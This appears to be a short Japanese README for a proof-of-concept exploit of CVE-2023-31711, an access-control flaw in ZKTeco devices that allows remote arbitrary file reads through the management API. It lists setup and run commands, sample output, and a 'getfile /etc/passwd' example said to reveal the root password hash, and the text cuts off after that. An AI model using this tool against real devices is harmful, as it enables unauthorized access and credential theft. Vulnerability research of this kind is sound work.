CVE-2023-31711

CVE-2023-31711 ZKTECOの不正確なアクセス制御により、リモートの攻撃者が管理APIを介して任意のファイルを読み取ることが可能です。 必要なモジュールのインストール ZKTEcoディレクトリ内: $ pip install -r ./pyzatt/requirementsdev.txt エクスプロイトの実行 ZKTEcoディレクトリ内: $ python exploit.py Connected to 10.0.2.25 Cmd getfile 例: getfile /etc/passwd: rootパスワードのハッシュを開示 getfile...